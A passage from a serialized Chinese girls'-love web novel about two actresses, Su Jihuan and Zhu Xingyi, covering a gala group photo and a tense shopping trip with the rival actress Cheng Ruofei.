上百名艺人在台阶处走走停停寻找最佳位置，四个人固定位置不变，热闹聊着天。 正说着，祝星亦抬眸看到苏寄欢被其他几个艺人簇拥着往上面走。 “苏……”祝星亦正要喊出声，身旁人的声音压住了她。 程偌菲往前走了走挡住了她的视线，挥手高喊：“苏总！” 苏寄欢已经站在自己的位置上，听有人喊，循声望去。 看到程偌菲后，她招招手，“偌菲，你要过来吗？” 程偌菲朝苏寄欢走去，“好的，苏总，我来了。” “苏……老师……”祝星亦的声音淹没在嘈杂的人声中。 她望着程偌菲提着裙子穿过人群走向苏寄欢。 人影在刺眼的灯下模糊不清，高阶低台上下，光鲜亮丽的群星中，她站在原地凝望着高处的苏寄欢。 那片区域是C位，顶好的位置。 程偌菲走去后，苏寄欢笑着和程偌菲聊天，没有再往别处看去。 祝星亦仰着头看她们，看了好久好久。 她紧紧握着自己的手，很快，便松开了。 她转回头，不再往那里看去。 “苏总。”程偌菲站在苏寄欢身旁微笑道，“要站这里吗？” “对，站这里就行。安宥她们呢？”苏寄欢问。 程偌菲指了个方向，“她们在那里，要喊她们过来吗？” 苏寄欢往那个方向望去，观察了下几人的位置道：“不用了，她们在ilmeth的艺人身边，位置挺好的。今天玩得怎么样？” “挺好的，很开心。”程偌菲背着手道，“不过安宥她们的礼服脏了，我联系礼服店给她们备了新的，只是可能要赔偿品牌方了。” “赔偿不碍事，让艾米去处理。”苏寄欢道，“辛苦你帮她们备裙子了。” “应该的，举手之劳。”程偌菲颔首。 “对了，偌菲，你有见到……” “寄欢～”吴小姐站过来跟苏寄欢问好。 苏寄欢礼貌打招呼，“吴小姐，你好。” “偌菲今天很漂亮哦，衣服很好看呢。”吴小姐夸赞道。 程偌菲笑说：“谢谢，您也很漂亮。” 她静静看了苏寄欢一眼，轻挑眉梢。 几人聊着天，摄影师在下面等着拍照。 “他们什么时候选好位置？”工作人员问。 “他们可不是选拍照位置，而是在选等下的头条位置，今晚热搜有得看咯。” 吴小姐问：“寄欢你是不是要试镜《外乡人》了？” “是啊，想要去试试。”苏寄欢回答着，稍稍移开视线看向人群。 吴小姐叹道：“《外乡人》竞争太强了，我听说ilmeth那边准备让简致宁或者傅芮来扛一番，不过也不太确定。” 简致宁和傅芮都是ilmeth影视的艺人，简致宁稍稍年长些，早些年就获得影视奖大满贯了。傅芮是ilmeth培养的简致宁接班人，和苏寄欢年龄相仿。 “于涵，阿茹娜，郑善英……”吴小姐报着名字都有些害怕，“我听说她们都可能过去试镜，这个本子太抢手了。毕竟ilmeth那边要冲击国外奖，也要冲国家工程奖呢。” “谁抢到了就必封后啊。”吴小姐感叹，“ilmeth一如既往能打。” “不管怎样也是要试试，机会在眼前就要抓住才行。”苏寄欢道，“不去试一试就永远抓不住机遇。” 吴小姐道：“ilmeth每次选人都阴晴不定，这次的选角很受关注呢。” “他们是挺随心的，好在作品质量有保证，我们削尖了脑袋都想去演呢。” “希望你试镜顺利咯。” 苏寄欢轻笑：“借你吉言。” 摄影师在下面等了会儿，操纵好无人机调整角度。 “他们好了没？”摄影师问。 工作人员举手道：“马上马上。” 艺人站好，工作人员跟各位艺人确定位置。 苏寄欢四顾了番叹口气，有些不安地合着手掌。 程偌菲感受到苏寄欢的焦灼，但还是安静地听工作人员跟大家确定。 “各位准备好了没有？”工作人员问，“马上就要开拍了啊！” 有艺人还在调整姿势以及位置，部分艺人已经站好，等待拍照。 苏寄欢转回身子往更高处望去，望了会儿，有些失落地转过来。 “苏总，怎么了？”程偌菲这才开口问。 “哦，我……”苏寄欢垂着眼，双手不安地抓着裙子，“我在找星星。” 她侧过脸问：“偌菲你有看到她吗？她和我穿的衣服颜色一样，都是蓝色。但人太多，我找不到她。拍照前我也去找她了，可一直没找到，她说和漫姝她们去玩了，但我也没见漫姝在哪儿。” 她叹口气，有些自责：“我应该问一句的，今天和她一起走红毯，也要和她一起合影来着。” 苏寄欢环顾四周，无论如何她都望不见祝星亦身影，声音越来越落寞，“我怎么会找不到她，哎，好担心她。也是我忘性大，我本来想要她拿着奖杯跟我一起拍照，结果找她找得急，奖杯还在餐桌那边放着。现在她人我也没找到……” 工作人员抬手喊：“好了，开始倒计时。十、九……” 听着，程偌菲眼角弯弯，笑着答：“哦，星星啊，我当然知道她在哪儿。” “八、七……” 苏寄欢眼中划过一丝欣喜，忙问：“她在哪里？” “六……” 程偌菲指了一个方向，道：“那里，穿白裙子的，她衣服也脏了，就换了一身白礼服，妆造也重新做了，所以你找不到她。” “五、四……” 齐漫姝举着手往祝星亦身边挤了挤，“举好啊，咱们三姐妹要留下第一张大合影了，我等晚上剪一下视频营销咱们的三小只友谊。” “那我发点我和祝星亦的照片给你，我们在《姐敲门》上有合照。”宋姿缈举着手说。 “行行行。”齐漫姝一脸愉悦，“举好举好，快拍了。” 祝星亦摆好姿势，有些失神地看着半空的无人机，跟着一起数着倒计时：“四、三、二……” “请等一下。” 一声高呼打断了众人的思绪。 水蓝色的衣裙的女人提着裙子快步往下走去，边走边抱歉道：“不好意思，借过。” 被无数道视线注视着的女人，一脸焦急地穿梭在人群中。 “好好好，她肯定是找小祝去了！” “我很好奇，她们真的是真的吗？” “刚刚你跟苏小姐一起喝酒你不问啊？” “我已经问过苏小姐助理的朋友了，私下已经在一起了，包真。” “不行了，我已经受不了，我要磕晕了，扶着我，我要看着她们站在一起。” 人们仿佛知道她要去哪，自觉让出位置。 人群缓缓静默，只留女人匆忙的脚步声和着急的侧影。 工作人员捂着嘴巴努力不尖叫出声。 “天，我刚刚还在疑惑她们怎么不站在一起！我还以为她们be了！” “不好了，我怎么感觉我的头有点晕呢？” “你是不是已经磕到大脑缺氧了。” “我去，苏寄欢也太勇了，这是官宣吧，这肯定是官宣吧！不行了，我真的想跪着求自己别磕了，可是却发现跪着磕更好磕了！” “[月星百万］美帝gl就是好磕，我宣布今天晚上我就是最幸福的女人。” “是女人就来磕[月星百万］！” “你们不拍吗？”望着这一幕，摄影师边录像边跟旁边的人说，“这不是那个什么，哎哎，哦哦，[月星百万］！你们不知道？” “知道啊。” “知道你们不拍？” “拍！拍着呢！” 逶迤的裙摆扫过台阶，四下静谧无声，高跟鞋快步踩下台阶的声音异常清晰。 疏离淡漠的身影慌乱地奔向人群中的小星星。 四步，三步，两步，一步。 “星星。”苏寄欢来到祝星亦身边，看她真的是换了件白色礼服，又无奈又欣喜道：“终于找到你了，我刚刚一直找不到你。” 她冲缄默不语的祝星亦伸出手，“星星，走，我们去那边站一起拍照。” 祝星亦沉默地站在原地。 苏寄欢收回手。 她拽了下自己的裙子站在祝星亦身旁，一脸歉意地同摄影师说：“不好意思，请继续吧。” 祝星亦猛然抬起头来，琥珀色的眸子带着无数个疑问望着清隽皎洁的人。 她从高位走下，和她并肩站在边边角角的低位。 感受到视线袭来，苏寄欢垂头眯着眼睛举起手，在脸颊比了个弧度，“要摆姿势吗？我会脸颊比心了，我们一起比好不好？” “好了，倒计时，十……” 祝星亦僵在原地，苏寄欢俯身拉起她的手腕要她去在脸颊上摆个弧度。 “快。”苏寄欢催促着，随后她弯腰，脑袋往祝星亦脸边靠近，左手比着半颗心。 “五、四……” 快门马上要按下了，祝星亦仓促地在脸上比另外半颗心。 “一！” 定格。 人群开始涌动，祝星亦望向精致装扮的人们。 一层脆弱的玻璃折射出彩色的光，白色的泡沫浮在玻璃表面，整个世界都是模糊的。 她偏过头，目光向上。 脸庞清晰的人冲她笑。 她欲言又止。 宴会厅外—— “当时她们身上有很多酒水，我便联系了礼服店给她们换了新礼服。后面安宥她们衣裙也脏了，就顺便也帮她们带了礼服。”程偌菲脸上挂着笑耐心跟苏寄欢解释。 苏寄欢疑惑地问：“你们身上怎么都脏了？到底做了什么？” 祝星亦欲要全盘托出，程偌菲先一步说：“想必是玩得开心了些，也没什么事，我联系艾米了，她那边会和品牌方对接商量赔款问题。” “你办事，我放心。”苏寄欢不再追究这事。 “大星！”齐漫姝提着裙子小跑过来，见苏寄欢在那处，问了声好跟祝星亦耳语几句，便冲几人挥手，“我和姿缈先走了，大星，苏小姐，程小姐，再见啊。” 程偌菲站直身子道：“苏总，过两天我和星亦会去逛街，你要一起来吗？” 祝星亦听到这话，后背微微僵直，还未出口说些什么，便听苏寄欢回答道：“行啊。” “我有同意吗？”祝星亦的声音骤然变冷。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第81章 她想吃掉我 程偌菲见状忙说：“不好意思，我以为你不介意这个，因为我想着你们两个经常一起逛街，就……抱歉。” 大厅处来来往往的人多，时不时有人跟苏寄欢打招呼。 祝星亦瞥了一眼苏寄欢，缓了口气说：“咱们出去玩，就不用喊她来了。” “为什么？”苏寄欢问，“你们关系这么好了吗？” 她倒是没发现这两个人关系这么好，往日两人都没太多接触，还是说网上聊天聊多了就…… 不对，上次《全员up！》里，这两个人一起上综艺。节目播出后，祝星亦的镜头很多，好评如潮，她和程偌菲也有很多互动。 看互动，她俩很投缘。 哦，是鹿场初遇和综艺相处积累出来深厚的友谊了？ 苏寄欢好似有了答案，顿了顿道：“不过既然你想单独和偌菲出去玩，那就去吧。” 天不早了，苏寄欢往外走了走，“星星，要回去了。” 祝星亦跟着走去。 苏寄欢转身问：“偌菲，要一起吗？” 闻言，祝星亦停下脚步，她抬头看苏寄欢的侧影，然后听到程偌菲道：“不了，我去找安宥她们。” “行。” 到车里，两人在后排落座。 “你今天衣服怎么弄脏的？”苏寄欢问。 “今天得奖，玩得高兴一时上头，酒水就洒身上了。” “以后你还能得更多奖，可不要次次都把裙子弄脏了。”苏寄欢弯着唇笑道。 祝星亦得奖，她自是很为祝星亦高兴。想到逛街的事，她问：“不过，你们逛街真不想带上我吗？” “不用了，我俩又不是小孩。” “行，你跟她出去，她也能照顾你。” “苏老师很了解偌菲吗？”祝星亦问。 “我和她认识得久，当然了解，她为人善良，也成熟些，你平日里跟她多交谈自然没错，我也会更放心。” “知道了。” 回公寓后祝星亦脱掉礼服让白澜明天拿去干洗店，她啪啪在手机上打字感谢程偌菲今天的帮助。 白澜在一旁给她汇报后面几天的行程，下周艺域要举办十五周年庆，需要做好相应的准备。 祝星亦听着优秀员工要和容羽珍一起进餐的流程，心想谁这么倒霉要跟容羽珍那个死女人一起吃饭。结果白澜说其中一人是祝星亦，祝星亦天也不聊了，坐起身子冲空气骂了几句。 她没心思去想怎么应付这个毫无意义的周年庆，一想到还要和容羽珍吃顿饭她便觉得晦气得不得了。 不过这容羽珍也是怪大方，竟然舍得要她成为优秀员工。 但对艺域来说，近一年确实只有祝星亦热度攀升得快，新男团那群没文化的丑蝻硬捧也没火起来，只能靠卖腐吸吸人气。几个人的热度加起来也没有祝星亦《寄明月》火，偏容羽珍喜欢抱着这几个丑男的臭脚捧。 艺域真要是识相就应该好资源好代言统统砸过来，砸得祝星亦眼冒金星才好。想到这儿，风荇还算上道点儿，虽然还是不死心捧那几个男人，但好歹风荇开始往她身上倾斜了一点点。 白澜在表格上打了两行字问：“你后天要和程偌菲逛街，我需要跟着一起去吗？” “不用了。”祝星亦打心底不想跟程偌菲去逛什么街，街没什么好逛的，话也没什么好聊的，除了接近程偌菲她也没有别的目的。 所谓知己知彼百战百胜，祝星亦对程偌菲完全没兴趣，但多了解了解她也不是什么坏事，毕竟苏寄欢就很了解她。 “程偌菲说她后天开车来接我，你放个短假就好。” 白澜讶异道：“她来亲自接你？她这个人心眼还挺好的。” “我也觉得挺好的。”祝星亦躺在床上搜索程偌菲的消息。 她回来前后又开始搜索程偌菲，她前段时间也搜过，看到程偌菲和苏寄欢一起出席活动，这两人一左一右站一块儿，她便马上退出图片界面。 刚搜了一会儿，祝星亦又看到程偌菲和苏寄欢的同框照片。 照片是Pans盛宴上拍的，两人站在一起相视而笑。 祝星亦记得这个时候她正和齐漫姝等人聊天来着。 没意思。祝星亦退出程偌菲的词条，点开热搜话题。 热搜话题上，Pans盛宴占了一大半热搜。排名第一的是#苏寄欢祝星亦#点进去看是苏寄欢走向她的图片和视频。评论区又开始磕生磕死，她的手指在这个界面停留很久，最后退出微博关掉手机。 没意思。 /// 祝星亦出门前苏寄欢发来几条信息，粗略看了几眼都是希望两个人玩得开心的句子。 她换上灰色菱格裙站穿衣镜前打了一段字，准备按发送键时全都删掉，只打了[嗯］这个字发*送过去。 程偌菲说在南门等她，她出南门后看到一辆黑色的GLE，对完车牌号后她走过去。 没想到程偌菲开大G。 “来了。”程偌菲开门出来，她穿着白色套装，恬静优雅。 程偌菲打量了两眼祝星亦，明艳的五官像浇灭荒原的雨火，半扎微卷长发，戴着珍珠耳坠。白色内搭上衣打了个长长的蝴蝶领带，菱格短裙下是修长的腿。白色小腿袜裹着线条流畅的小腿，脚穿米白色高跟鞋。纤细的手腕上是半山水玉镯，和苏寄欢腕上的是一对。 她望向祝星亦琥珀色的眼眸，觉得这双眼睛漂亮又冷冽，很快，她挺直脊背，带着打量、探究、审视眼前的人。 “车很漂亮。”祝星亦夸赞。 程偌菲关上车门看了眼车身道：“当初苏总送我的时候，我也是说它很漂亮。” 祝星亦表情一僵，沉默了片刻，又笑着说：“是吗？苏老师真大方。” “当时我还没考完驾照，后面拿它当代步工具挺方便的。”程偌菲伸了下手，“先上车吧，我们先去景平广场那边。” 车内装潢是黑色的，祝星亦坐在副驾驶座扣上安全带。百十来万的车是挺好看，她摸着安全带带子道：“偌菲你和苏老师什么时候认识的？” 车往景平广场的方向驶去，程偌菲认真开着车回答：“很早就认识了，她当初回国后不久，我小姨就和她有接触，我也在那时认识了她。” 程偌菲想了想又说：“差不多有十年了？” 十年？十年吗？ 祝星亦压着自己的手深吸一口气。 “我那个时候还在初中，认识她后觉得她很优秀，是一名很优秀的文艺工作者，所以我高中的时候就走了艺考这条路，很幸运，我考上了华影。”程偌菲说着笑着，“算下来我还是她校友呢，我毕业的时候她也来参加我的毕业典礼了。今年她本来邀请我去参加她的博士毕业典礼，但是我还在拍戏就没去。” 程偌菲稍稍侧了下脸问：“你去了她的毕业典礼是不是？” “是。” “等你毕业我得去一趟才行。” “那要再等两年了。” “两年很快的。”程偌菲说，“我刚上大一的时候，苏总就签了我。我签[苏盛］后拍的第一部戏就拿了个新人奖，说起来还挺幸运的。那个剧本是苏总精挑细选后递给我的，她眼光很好，所以我们[苏盛］的人都很尊敬她、感谢她。” 一个转弯，程偌菲转得很稳。 祝星亦看着建筑景物的变动，听到程偌菲说：“当然，我们都很喜欢她。” “苏总对我照料有加，这么多年未曾变过。她对旁人的好，我想你肯定也能感受到，是不是？”程偌菲问。 “是。她很好。” “我小姨生前对她赞誉有加，后来我与她接触她也待我甚好。之前我小姨常邀她去家里做客，我和她……哦，对了，她有跟你说过我小姨的事吗？” 祝星亦低着头胡乱地翻着手机，手机里没什么可看的，但手指还在屏幕上划来划去，好像她很忙似的。 她侧着小半张脸听到程偌菲抛出的问题，眼睛落在大G的车标上。 工作繁忙，祝星亦下个月才考科四。 红灯停绿灯行，停在线前的黑色大G等绿灯亮了后慢慢启动。 很快，祝星亦抿着唇故作轻松道：“没有。” / “是吗？” 苏寄欢转过身子放下口红，喊了几声苏豆豆的名字，苏豆豆从猫爬架上下来竖着尾巴小跑过来，边跑边喵喵叫。 姜妤璇慵懒地歪在沙发上抬头看了眼那只煤球脸，“是啊，你不要喂它吃那么多了，不然以后长成煤气罐罐了。” 苏寄欢蹲下来查看苏豆豆身上的蒜瓣毛叹口气道：“人要做身材管理，小猫也要做。” “吃太多不好，胖了会生很多病的。” “知道了知道了。”苏寄欢轻轻抚摸着苏豆豆的脑袋，手指顺着它的脊背缓缓滑下。苏豆豆舒服地眯起眼睛，喉咙里发出一连串咕噜咕噜的声音，身体也越发柔软，亲昵地蹭着苏寄欢的手心，时不时还喵喵叫上两声。 抚摸着苏豆豆，似是想到了什么，苏寄欢起身去衣柜挑衣服。眼睛在一排排衣物间流转，手指拂过一件件面料，最终，她的目光落在一套清爽的白色套装，脸上露出满意的神色，伸手将其取下。 “我就挺羡慕星星能吃能喝，还不胖。我经常会给她买零食，每次她都会开心地拆开吃吃吃，嚼嚼嚼。有时候会和我分享，可惜我不大爱吃零食。”苏寄欢快速换了衣服，走出来整理整理。 “她之前想吃雪花酥，我说我会做，便带她家里给她做。结果她把我放在客厅的棉花糖吃了一大半，后面知道我要用棉花糖做雪花酥，她可愧疚了。”她说着笑着，偏头问姜妤璇，“妤璇，你看我这身怎么样？” “好看。”姜妤璇听出那番话的不一样，扬眉问：“所以，今天要和你的小徒儿约会去了？” 苏寄欢纠正她：“不是约会，是逛街。” 她踱步坐到沙发上给姜妤璇看一款裙子，白色荷叶边连衣裙，长度到膝盖上面。 “我想带她去买这条裙子，你觉得这裙子好看吗？”苏寄欢问。 姜妤璇仔细瞧了眼，“好看，她是个衣服架子，穿什么都好看。” “对，对，你这个说对了。她穿什么都好看，我上个月……” 姜妤璇按下苏寄欢正要抬起的手机，话说得直白：“你星星前星星后的，又是带人回家，又是亲自下厨给人做饭，卖cp也好做师徒也罢，说，是不是吃住人家了？” 姜妤璇别的不说，看人特准。苏寄欢的所作所为她睁一只眼闭一只眼，权当这位快奔三的影后大人回春了。 但回春是一回事，谈苏寄欢跟祝星亦的关系是另一回事。 苏寄欢摊平衣裙上的褶皱，并拢膝盖偏着坐，软绸一样的乌发随意挽着，她垂眸，长睫在眼睑下落下淡淡的阴影，片刻后她才抬眸，目光看向别处，沉声说：“你抬举我了，我还真吃不住她。” 姜妤璇觉得她在说笑，细数苏寄欢认识祝星亦这一年多做的“乌七八糟”的事，这还吃不住的话未免太失败了些。 苏寄欢不大喜欢跟别人谈这件事，摆摆手终止话题。看时间还早，随意聊了几句Pans宴会上的事。 “啊？你乖徒不让你去你还要去？”姜妤璇疑惑了，怎么这苏寄欢还上赶着跟人家一起去逛街，“我还以为你们俩约好出去玩，结果她约的是别人。” “不过人家拒绝你你还去，你不怕她生气吗？”姜妤璇看苏寄欢马上要飞奔到祝星亦身边的劲头，提醒道，“人家两个人出去玩，你横插一脚，小雅，这是不是不太礼貌？” 苏寄欢愣了一下，她想过这个问题，不过很快就把问题抛之脑后。 “她若是生气，我哄哄她就好了。” 姜妤璇问：“你乖徒好哄吗？” 苏寄欢唇角抿了抿，好半天才答：“不好哄。” /// 到达景平广场后，苏寄欢看了眼昨日祝星亦发给她的行程。 祝星亦要和程偌菲看脱口秀，十一点半出来。 脱口秀在景平广场东广场三楼，苏寄欢出电梯后找到屏安剧院，看时间还早，便在门口的长椅上坐了会儿。 十一点三十多，苏寄欢终于等到了人。 祝星亦和程偌菲有说有笑地出来，苏寄欢快步上前。 程偌菲瞧见了人，忙走过去喊：“苏总，你怎么也来了？你也要看脱口秀？” “我不是来看脱口秀的，我是过来跟星星……”苏寄欢说着，移了下步子冲灰菱格衣裙的人招招手，然后朝那人走去。 程偌菲保持着笑容转过身子，跟着走去。 祝星亦看向走过来的两人，都是白色套装，这么默契吗？ 她低头扫了眼自己的衣服，再看，裸色高跟鞋立在她面前。 “星星，我今天想着……” “你怎么来了，不是说不让你来？”祝星亦脑子没多想，话就出口了。瞄见一旁程偌菲含笑的脸，她忽然有些后悔。 一个是相识十多年故人的亲人，也是最能拿得出手的员工，成熟稳重。 一个是靠撒泼才挣来师徒名分的人，脾气火爆。 这种比较拿出来都是招笑。 “算了，你来就来吧。”祝星亦没有多言语，往电梯的方向走去。 苏寄欢跟过去与祝星亦并肩，小声问：“你不生我气？” “你来都来了，我还轰你不成？” 三人踏进电梯，祝星亦伸手按了下楼层和关门键。有人快速跑来，祝星亦忙按开门键，等人上来了才关门。 苏寄欢弯着眼笑说：“你若是真轰我，我还是要过来的。” 祝星亦嘀咕几句，盯着电梯间内镜面里两人白色套装的倒影不语。 “苏总今天有空出来逛街？”走出电梯往南广场去的路上，程偌菲问。 南广场有个市集，这时候过去正好填饱肚子。若是不想去市集，去南广场大楼里的餐厅用餐也不错。 “剧宣期差不多过去了，这几日得闲，过段时间就要准备《外乡人》的试镜。”苏寄欢同程偌菲道，“正好趁这段时间休息休息。你过段时间又要进组了，要不我给你订票，你先出去玩一趟？” 往日杀了青，离进下个剧组日程较长时，程偌菲若想出国溜达一圈，苏寄欢便会让人安排好她的往返机票和酒店。 程偌菲听了后立刻拒绝了，一来一回也是疲惫，还要赶赴下个剧组，这个空档期在家里宅一宅比什么都好。 苏寄欢点头：“行，你开心就好。” 聊着天，南广场市集到了。穿过巨型金属艺术装置，便进入了市集。 文创展有很多精美的手工艺品、画作，美食区木质餐车雕有花纹，配着奇特的吊灯和特色餐盘，好看得很。娱乐区的互动装置很多，刚进去就有人邀请过去试玩。 祝星亦摆摆手拒绝，两人还在热切地聊天。苏寄欢就在她身边走着，但沉默的感觉实在难熬，她时不时转过头看向身边的人，想等合适的时机插进去一句话，但很遗憾，她一句话也插不进去。 她觉得苏寄欢离她越来越远。 “苏总，我来前做了这个市集的攻略，这里有个卖点心的小摊，听人说她们做的点心味道很不错。”程偌菲点开手机里收藏的笔记给苏寄欢看，“在29号摊位，我们要不过去试试？” “行。”苏寄欢点头。 三人往29号摊位走去，却见排了长长的队。 程偌菲眉毛瞬间聚拢起来，带着一丝疑虑道：“这么长的队，等排到了我们也饿坏了，不如别排了，我这边订个餐厅。” “别。”苏寄欢伸手阻止，转头问祝星亦，“星星，你看你有什么想吃的。” 她把手机拿给祝星亦看，祝星亦推了下她的手机，只盯着自己的手机看，“我搜了这家的点心，我没什么想吃的。” 苏寄欢手机里的图片停在玫瑰酥上，她瞟了几眼祝星亦的手机页面，转头问程偌菲，“偌菲，你有什么想吃的吗？” “想试试花茶糕。”程偌菲有些担忧道：“苏总，你是要排队去买吗？还是别了吧，人这么多，不知道要排到什么时候去了。” “没事，你们先去买其他东西，等一下找个地方会合，我先排着队。”苏寄欢快步站到队尾。 程偌菲见苏寄欢去排队，喊祝星亦去其他地方。 点心摊的队伍很长，苏寄欢站在队末尾。祝星亦跟着程偌菲去一个小摊前看有什么可以买的，站定后转头看点心摊前排队的苏寄欢。 苏寄欢为了给程偌菲买茶花糕排那么长的队。也是，她们毕竟相识十多年，又是那么亲近的关系，好的资源好的剧本好的代言统统奉上，排队给程偌菲买个茶花糕算得了什么。 再看自己，撒泼打滚用眼泪争取来的师徒情分，上赶着做人家学生，还来者不拒地跟人家接吻，第一次接吻还是她主动抱着人家亲的。 说难听点自己就是个倒贴货。 [阿星］这个角色谁来演苏寄欢都会对[阿星］好，谁做苏寄欢的[学生］，都会享受苏寄欢的温暖。[苏盛］的员工都得苏寄欢照拂，站在神座下，神的一声轻叹都会有圣光加持。 心脏跳动一下都会涌出一阵钝痛，祝星亦低着头看自己鞋尖，她忽然意识到自己太自以为是了。 褪掉自己的刺，满心欣喜地靠近、接纳，毫无保留地跑向火源，却发现温暖从未真正属于自己。从始至终，她在苏寄欢心里从未如她所愿那般重要。 她又呆望着点心摊的方向，午间的阳光有些刺眼，但她连抬起手遮阳光的力气都没有了。 “星亦，你真没有什么想吃的点心吗？那家点心很不错的。”程偌菲不想让祝星亦失去品尝点心的机会，催促道：“你赶紧看看攻略，看有什么想吃的，让苏总给你买。” “不用了。”祝星亦摇头，“我不太想吃甜的，没胃口。” “行，我们先看看其他的。” 祝星亦望了远处的摊子，指着小摊说：“要不先给她买点东西垫垫肚子吧，她还要排那么久的队。” 程偌菲点点头。 祝星亦买完，程偌菲拿过那份吃食快步到点心摊处。 等祝星亦反应过来，程偌菲已经把东西递到苏寄欢手里。 “苏总，你先吃点东西。”程偌菲双手递上，“我们等下去3号摊位坐着，你买完过来找我们。” “嗯，行。” 程偌菲折回来跟祝星亦说：“星亦，我们先买其他的东西，等下去3号摊坐着。” 祝星亦握紧拳头又松开，点头道：“好。” 三份午餐买完后，两人在3号摊位前的座位上等了会儿，苏寄欢终于带着点心回来了。 “苏老……” “苏总，辛苦你了。”程偌菲起身感激道。 祝星亦见程偌菲起身了，也赶忙跟着站起来。 苏寄欢从袋子里刚拿出一份，程偌菲双手接过感谢道：“苏总，谢谢你。” 手里的点心被拿走，苏寄欢愣了下，自言自语：“哦，没事，都一样。” 她又拿出一份递给祝星亦，然后跟程偌菲说：“偌菲，茶花糕没了，我买了其他的。” “没事的苏总，都一样。”程偌菲并不介意，她对点心的接受度很高。 隔壁摊的服务员喊道：“203号，取餐。” 程偌菲听到叫到自己的号了，忙放下手里那盒点心，“我先去取餐。” “好。”苏寄欢点头。 看着包装精美的点心盒，祝星亦一边客气地说谢谢，一边疲倦地坐下来把点心随意放在一边。对面程偌菲的位置已经空了，但桌上放着别无二致的点心盒。 她呆呆望着程偌菲的点心盒，简约漂亮的包装和大多数点心盒子没什么区别，唯一的区别是这是苏寄欢排了好久的队买到的。 苏寄欢移了下椅子，往祝星亦身边更靠近了些，她抚着裙子缓缓坐下，身子朝祝星亦倾了倾，“你不打开看看吗？” “没什么好看的，又不是我想吃点心。” 苏寄欢没再言语，拿过祝星亦手边的点心盒打开。 一盒点心里有六块糕点。 山药豆沙糕、玫瑰酥、抹茶莓粉山药糕、芋泥奶酪球、海棠酥、鲜奶麻薯。 苏寄欢拿起一块点心递给祝星亦，祝星亦看着点心迟迟没有动静，良久才伸手接过。 苏寄欢垂着眼看祝星亦的侧脸，声音轻轻：“问你想要吃什么，你不说。却看到你给这几个糕点点赞，还保存了图片。星星，为什么你想吃却不跟我说呢？” 祝星亦捏着点心，低垂着头一言不发。 苏寄欢静静看着她，喉咙里发出一阵低沉的笑，“是不是想吃的太多了，不好意思讲，怕被说是贪吃鬼？” “不是。” “行，星星不是贪吃鬼。”苏寄欢眼底漾出一点光芒，再次往祝星亦身边靠了靠，“你点赞的太多了，但我在那边只找到这六种，剩下的……” 她双眸紧盯着祝星亦的侧脸，过近的距离让她嗅到祝星亦身上的香气，也能看到未熟透的桃子般的脸蛋。她凝望着祝星亦微微张开的唇，红润润的，跟点心似的。 像水晶蜜桃冻挞的桃尖儿，像草莓奶冻西米露里的草莓块儿，也像泡在红茶里的枫叶酥。 模样像，味道也像，她已经尝过了。 于是她嘴边挂着笑，说：“剩下的，今晚你来我家，我给你做，好不好？” 说完，她看到小狐狸耳尖蓦地变红，是荷花藕冻果子上荷花花瓣的颜色。很快，这抹红从耳尖到脸颊，再到脖子，胸口。 小狐狸察觉到不妙的视线，偏过脑袋。 苏寄欢身子又凑近了些，她翘着唇角，浅褐色的眼珠里翻起一阵潮涌，呼吸沉沉，声音渐低，“星星，你说，好不好？” 第82章 我吻疼了她 “我……” 那边程偌菲端着餐盘落座，“好了，齐了，可以用餐了。” “嗯。”祝星亦点头，轻轻推开一旁苏寄欢伸过来的手，“先吃饭吧。” 出乎意料的，苏寄欢没有就着刚刚的话题再说下去，她坐直身子安静用餐。 “苏总，这个你要来一点吗？”程偌菲指了下手边的鸡翅。 苏寄欢转头，“星星，你吃吗？” “不吃。”祝星亦目光移过去半秒，快速收回。 “我不吃，谢谢偌菲。”苏寄欢弯唇。 不料祝星亦把自己的碗移过去，“偌菲，我吃。” 程偌菲忙给祝星亦夹了块鸡翅。 随后问：“那，苏总，你吃吗？” 苏寄欢轻轻耸肩，“不了，她喜欢吃多给她夹一块好了。” 说着，拿筷子给祝星亦夹了第二块儿鸡翅，“吃吧，星星。” 她指了指自己碗里的菜和肉，问：“星星还想吃什么？” 祝星亦不吭声，侧了下身子一筷子夹走千斤重的肉放到自己碗里。 程偌菲看祝星亦把苏寄欢碗里的肉全夹走了，忙说：“苏总，你要不……” “我不太饿，刚刚你给我买的东西我吃了个半饱。” “嗯，好。” 祝星亦咬下一大口肉。 那份小吃明明是自己买的。 苏寄欢低头看看自己清汤寡水的碗，问：“星星，吃得饱吗？” “吃得饱。” “行。”苏寄欢这才开始动筷子吃饭。 饭后苏寄欢带两人去一条街之隔的Incy商业中心，太近，便没开车过去。 祝星亦以往很少涉足此地，Incy里大多是大牌奢侈品专柜，不少店面实行会员制消费模式，非会员的消费门槛颇高，非会员制的店铺所售商品价格也十分昂贵。 程偌菲走在苏寄欢身侧，讲起前段时间在那里买的包，苏寄欢跟着说了两句，两人就着这个话题说开了。 “我年初的时候买了个G家的羊毛围巾，虽说是经典款，不挑人，但我戴上实在不好看。”程偌菲点开手机给苏寄欢看照片，“灰色的我不大喜欢，粉色的又不适合我，挑来挑去还是买了灰色的，戴上老了几岁。” 苏寄欢瞄了眼程偌菲的自拍照，点头道：“老花暗纹这款搭不好确实会显得老气些，不过戴起来是挺舒适。” “是啊，我也是这样觉得。”程偌菲收起手机问：“我记得上次在鹿芜观，苏总你也戴了条围巾，那是……” “哦，那是我自己织的。”苏寄欢伸出手臂把离自己越来越远的祝星亦拉到身边，同程偌菲说：“我织了两条，一条给了她，一条自己戴。” 程偌菲怔了一下，缓缓看了看一眼祝星亦，笑道：“苏总会织围巾，这倒是新鲜。” “有心去学，就不难。”苏寄欢用余光瞄了眼祝星亦，继续道：“偌菲，你有想买的东西吗？” 程偌菲摇头道：“暂时没有，不过也许逛着逛着就想买了。” “我今天想买条裙子，你若是有空可以跟我们一起去逛逛M家的店。” “好啊。” “我不想跟你们一起逛。”祝星亦忍了许久，终于插上一句话。 一路上都是两人在聊天，把她当空气，她心里憋闷得很。 苏寄欢偏头问：“你有想逛的店吗？我陪你去。” “有。”祝星亦握着拳回答。 进Incy后凉爽了不少，祝星亦随便指了个店便过去了，两个人跟着她一起逛。 逛了四五个店，祝星亦也没买什么，却是走累了。 “我没什么要买的，你去买你的裙子吧。”祝星亦走出店门大步迈到一处装置旁坐下，“我在这等你们。” 她是有些不甘，但与两人一起去试看衣服，她可能也插不上什么嘴。 祝星亦的奢牌衣服并不多，偶尔会有品牌商赞助，但她自己买衣服不会选择太大牌的。眼前这两人倒是非奢牌不用，她与她们也聊不上什么。 祝星亦按着自己的膝盖嘟囔道：“不用管我了，我在这里坐会儿。” 